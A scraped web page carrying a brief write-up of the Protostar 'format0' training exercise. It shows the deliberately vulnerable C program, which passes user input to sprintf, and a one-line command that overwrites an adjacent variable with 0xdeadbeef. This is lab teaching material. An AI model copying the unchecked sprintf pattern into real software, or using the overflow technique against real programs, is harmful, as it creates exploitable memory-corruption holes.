028-86922220

建站动态

根据您的个性需求进行定制 先人一步 抢占小程序红利时代

Protostarformat0

About

This level introduces format strings, and how attacker supplied format strings can modify the execution flow of programs.
Hints:
This level is at /opt/protostar/bin/format0
#include #include #include #include
void vuln(char *string)
{
volatile int target;
char buffer[64];

target = 0;

sprintf(buffer, string);

if(target == 0xdeadbeef) {
    printf("you have hit the target correctly :)\n");
}
}

int main(int argc, char **argv)
{
vuln(argv[1]);
}

格式化字符串热身题,只需要将target部分覆盖也\xdeadbeef即可。因为在定义时,target和buffer是连着的,因此在内存的位置也是一起的。故可得:

user@protostar:/opt/protostar/bin$ ./format0 $(python -c 'print "a"*64+"\xef\xbe\xad\xde"')
you have hit the target correctly :)


文章题目:Protostarformat0
当前路径:http://www.tsicrk.com/article/jihsdd.html

其他资讯

让你的专属顾问为你服务

1.9232s